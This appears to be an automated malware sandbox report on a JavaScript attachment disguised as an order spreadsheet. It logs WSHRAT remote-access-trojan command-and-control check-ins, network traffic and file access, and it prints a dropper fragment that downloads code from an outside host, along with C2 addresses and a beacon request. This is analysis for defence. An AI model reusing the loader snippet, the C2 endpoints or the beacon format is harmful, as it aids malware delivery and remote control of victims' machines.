Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50221 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50298 version: TLS 1.2

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: ORDER-24171200967.XLS..js

Argument value : ['"try{\nvar Object = new ActiveXObject("MSXML2.XMLHTTP");\nObject.Open("GET", "http://192.3.220.6/web/o']

Go to definition

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49801 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49819 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49801 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49819 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49825 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49825 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49864 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49842 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49842 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49864 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49848 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49848 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49871 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49886 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49886 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49871 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49909 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49909 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49920 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49920 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49952 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49952 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49964 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49964 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:49990 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:49990 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50002 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50002 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50026 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50026 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50130 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50130 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50173 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50173 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50215 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50215 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50083 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50083 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50207 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50207 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50082 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50082 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50040 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50250 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50250 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50168 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50168 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50131 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50040 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50131 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2027447 - Severity 1 - ET MALWARE WSHRAT CnC Checkin : 192.168.2.4:50255 -> 46.246.82.66:7045
Source: Network traffic	Suricata IDS: 2017516 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 : 192.168.2.4:50255 -> 46.246.82.66:7045

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 192.3.220.6 80			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 46.246.82.66 7045

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: chongmei33.publicvm.com

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: ORDER-24171200967.XLS..js

Argument value : ['"try{\nvar Object = new ActiveXObject("MSXML2.XMLHTTP");\nObject.Open("GET", "http://192.3.220.6/web/o']

Go to definition

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 7045

Source: global traffic

TCP traffic: 192.168.2.4:49801 -> 46.246.82.66:7045

Source: Joe Sandbox View	IP Address: 199.232.192.209 199.232.192.209
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: PORTLANEwwwportlanecomSE PORTLANEwwwportlanecomSE

Source: Joe Sandbox View

JA3 fingerprint: 026e5ca865ce1f09da3a81d8a4e3effb

Source: global traffic

HTTP traffic detected: GET /web/ours.js HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.220.6Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.6

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: chongmei33.publicvm.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: repo1.maven.org

Source: unknown

HTTP traffic detected: POST /is-ready HTTP/1.1Accept: */*user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 16/12/2024|JavaScriptAccept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: chongmei33.publicvm.com:7045Content-Length: 0Connection: Keep-AliveCache-Control: no-cache

Source: wscript.exe, 00000000.00000003.1717838560.00000270DCBCB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718065320.00000270DCCF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.6/web/ours.js
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugreport.sun.com/bugreport/
Source: javaw.exe, 00000004.00000002.2977567936.0000000009DFA000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: javaw.exe, 00000004.00000002.2977567936.0000000009DFA000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009DFA000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: wscript.exe, 0000000E.00000002.2975324132.000001F2AE9C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.public
Source: wscript.exe, 0000000E.00000002.2975469847.000001F2AEBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.co
Source: wscript.exe, 00000005.00000002.2975253973.00000296C2270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.co8D
